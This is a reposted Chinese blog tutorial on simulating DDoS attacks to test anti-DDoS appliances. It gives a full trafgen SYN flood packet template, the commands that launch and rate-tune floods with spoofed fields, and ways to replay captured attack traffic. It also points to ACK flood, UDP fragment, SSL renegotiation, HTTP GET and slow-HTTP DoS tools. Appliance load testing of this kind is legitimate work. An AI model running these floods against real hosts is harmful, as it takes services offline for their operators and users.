zoukankan      html  css  js  c++  java
  • synflood 模拟工具

    synflood 模拟工具

    来源 https://blog.csdn.net/wuzhimang/article/details/54581117

    因项目需要,要对主流的几家抗DDoS设备做测评,当然了最专业的是使用Spirent TestCenter,但受限于其他因素,最终决定搭建一个软件环境来进行相关的DDoS测试。

    本文主要讲解的是如何使用trafgen工具发起DDoS攻击(syn flood, ack flood等等)

    synflood攻击、ackflood攻击、UDP fragment攻击的详细配置文件见 github ddos-dos-tools

    工具选择

    1. 开源的流量生成工具很多,可用于模拟DoS攻击的工具也不在少数,如hping、scapy(python库)等等,但均存在着不足,如性能不够,不能模拟DDoS攻击(攻击流IP和PORT不能动态变化)
    2. 通过详细的对比测试(同hping、scapy、LOIC等对比测试,具体数据不宜公开),最后统一选择了netsniff-ng套件中的trafgen攻击,其在测试环境中可达到24万pps的SYNFLOOD攻击,是一款高速、多线程网络数据包生成工具
    3. trafgen 工具能够动态生成攻击IP和端口号,能够通过配置文件动态修改攻击包的内容

    简单使用

    1. 安装

    trafgen属于netsniff-ng套件,是一款linux下的工具,安装很方便,通过系统的在线安装工具即可完成安装,如centos下yum install netsniff-ng即可

    2. 使用(SYN Flood攻击)

    1. 工具的比较简单,主要是配置文件的编写,假设已经写好了一个synflood配置文件

      • 键入命令trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose即可发起攻击
      • 进一步的还可通过trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose --gap 1000 (以毫秒为单位)来调节速度
      • 进一步的还可通过trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose --kernel-pull 20 (默认10us)来调节速度
      • 详细的可以man trafgen
    2. 配置文件解读(以synflood.trafgen文件为例)

      • synflood.trafgen 模版,trafgen就是通过该文件来生成特定的数据包的!看配置文件的注释基本能清除如何修改
    /* TCP SYN attack ( 64byte )
     * Command example:
     *  trafgen --cpp --dev em2 --conf synflood.trafgen --verbose
     * Note: dynamic elements "drnd()" make trafgen slower
     */
    
    #define ETH_P_IP    0x0800
    
    #define SYN     (1 << 1)
    #define ACK     (1 << 4)
    #define ECN     (1 << 6)
    
    {
      /* --- Ethernet Header --- */
      /* NEED ADJUST */
      // 0x00, 0x12, 0xc0, 0x02, 0xac, 0x56,  # MAC Destination
      // 0x00, 0x12, 0xc0, drnd(3),  # MAC Source
      0xf4, 0xe9, 0xd4, 0x8d, 0x04, 0x82, # MAC Destination
      0xf4, 0xe9, 0xd4, 0x8c, 0xe2, 0xa2, # MAC Source
    
      const16(ETH_P_IP),
      /* IPv4 Version, IHL, TOS */
      0b01000101, 0,
      /* IPv4 Total Len */
      const16(46),
      /* IPv4 Ident */
      drnd(2),
      //const16(2),
    
      /* IPv4 Flags, Frag Off */
      0b01000000, 0,
      /* IPv4 TTL */
      64,
      /* Proto TCP */
      0x06,
      /* IPv4 Checksum (IP header from, to) */
      csumip(14, 33),
    
      /* NEED ADJUST */
      // 10, 10, 88, drnd(1), # Source IP
      10, 10, 88, 173,  # Source IP
      10, 10, 88, 172, # Dest IP
    
      /* TCP Source Port */
      drnd(2),
      /* TCP Dest Port */
      const16(80),
      /* TCP Sequence Number */
      drnd(4),
      /* TCP Ackn. Number */
      const32(0), /* NOTICE ACK==zero with SYN packets */
    
      /* TCP Header length + Flags */
      //const16((0x5 << 12) | SYN | ECN)    /* TCP SYN+ECN Flag */
      //const16((0x5 << 12) | SYN | ACK)    /* TCP SYN+ACK Flag */
      const16((0x5 << 12) | SYN)        /* TCP SYN Flag */
      //const16((0x5 << 12) | ACK)      /* TCP ACK Flag */
    
      /* Window Size */
      const16(16),
      /* TCP Checksum (offset IP, offset TCP) */
      csumtcp(14, 34),
      const16(0), /*PAD*/
    
      /* Data */
      "SYNswf"
    }
    • 配置文件可通过drnd()函数来实现对应内容的动态生成,如IP、MAC地址等,但是会影响性能

    image_1b6bf8ooa3im1ioc1kc7aeu1qo89.png-6kB

    • 修改MAC地址(攻击/被攻击MAC地址)

    image_1b6bfeukr5m628h14ciupq1tnnm.png-11.8kB

    • 修改IP地址和攻击协议及端口号,const16()将对应的十进制数转换成一个16位的二进制数

    image_1b6bftaek14a4il1fp5l3dr5213.png-15kB

    • 修改位SYN标志(根据情况也可修改为其他的)

    image_1b6bfv9751ojs1g6klulc4jaak1g.png-11.6kB

    3. ACKFlood 攻击

    4. UDP fragment 攻击

    5. 退出命令

    统一退出命令pgrep trafgen | xargs kill -s 9

    其他

      1. 在trafgen性能仍达不到要求的情况下,可通过netsniff-ng攻击进行流量回放,如下 
        • 先捕获synfloog攻击数据包 
          netsniff-ng --in ens33 --out synflood.pcap --silent --verbose --filter 'ether src 00:50:56:ab:a5:3f' 
          trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose
        • 再重放synflood攻击数据包 
          netsniff-ng --in synflood.pcap --out ens33 --silent --prio-high --verbose
      2. 在用trafgen进行实时流量生成或者netsniff-ng重放时,还可通过工具tc进行流量控制,具体请见“linux流量控制工具tc一文,简单举例如下 
        image_1b6bgp1mntnf15a61bppjvs1f7a1t.png-15.8kB

    DDos/DoS工具集(持续更新)

    来源 http://codeshold.me/2017/01/ddos_tools_set.html

    项目中,需要帮助某公司完成对几台抗DDoS设备的测试,受限于各类因素,只能通过搭建软件环境来完成测评。下面是针对自己前期工作的一小部分整理,仅罗列了基于开源工具的一些内容,其他定制化的和自己编写的程序则未公开。hping、LOIC等其他工具,由于性能和其它原因也未被使用!

    github ddos-dos-tools

    1. SynFlood 攻击

    借助netsniff-ng套件中的trafgen工具,其可伪造源ip发起DDoS攻击

    • trafgen是一款高速的,多线程数据包生成器,官方测试显示其速度可达到12Mpps,自己在Intel(R) Xeon(R) CPU E5-2620 v3 @ 2.40GHz下测得的发包速率有500Mbit/s多。通过对比其他开源程序,本工具的发包性能是自己测试中性能表现最高的。
    • synflood.trafgen是对应的配置文件模版,修改文件里的源/目的MAC地址以及源/目的IP后,命令行直接运行trafgen --cpp --dev eth0 --conf ackflood.trafgen --cpu 2 --verbose即可发起synflood攻击
    • 通过添加trafgen命令行参数--gap修改发包的速率,具体请man trafgen
    • 对应工具可直接通过在线源进行安装,CentOS下yum install netsniff-ng即可安装整个套件,其中包含trafgen等工具。(预先可能需安装fedora源,yum install epel-release.noarch -y

    2. AckFlood 攻击

    同SynFlood类似

    • ackflood.trafgen是对应的配置文件模版,修改文件里的源/目的MAC地址以及源/目的IP后,命令行直接运行trafgen --cpp --dev eth0 --conf ackflood.trafgen --cpu 2 --verbose即可发起ackflood攻击

    3. SSL 攻击

    • thc-ssl-dos是一款有名的ssl攻击程序,原理是ssl重新协商机制,但对于关闭了的或不支持SSL重协商的服务端,该工具将失效。
    • ssl-dos.sh是自己写的一个简单的ssl攻击脚本,且适用于不支持ssl重协商的服务端,该脚本借助的是openssl工具。

    4. HTTP GET 攻击

    • http-get-dos是一个简单的、高性能HTTP GET DOS工具,可自定义HTTP请求头、连接数、总的HTTP请求数等
    • 进入目录下make编译后,http-get-dos -h 查看使用信息

    5. HTTP 慢速攻击

    • pyloris是一款开源的HTTP慢速DOS攻击软件,本版本为3.2版本,详情见主页,含图形界面,使用很方便

    6. UDP fragment 攻击

    同SynFlood类似

    • small_frag.trafgen是对应的配置文件模版,修改文件里的源/目的MAC地址以及源/目的IP后,命令行直接运行trafgen --cpp --dev eth0 --conf small_frag.trafgen --cpu 2 --verbose即可发起UDP fragment DoS attack攻击

    100. 贴一张部分图,自己看

    image_1b6bi70qv14e3j3geb1ipeeib9.png-22.1kB

    ========================

    1. 使用 trafgen 进行 synflood 发包攻击:

    2. 查看当前网卡的发包速率:

    =========== End

  • 相关阅读:
    用java的眼光看js的oop
    SpringBoot YAML文件特殊类型配置
    【框架】一种通知到多线程框架
    【网络基础】数据包生命
    【网络编程】TCPIP-小笔记集合
    【网络编程】TCPIP-8-套接字的多种选项
    【网络编程】TCPIP-7-域名与网络地址
    【网络编程】TCPIP-6-TCP的半关闭
    Web应用安全防护-WAF
    漫画 | 这样的程序员男友,让我分分钟想剖腹自尽!
  • 原文地址:https://www.cnblogs.com/lsgxeva/p/9188556.html
Copyright © 2011-2022 走看看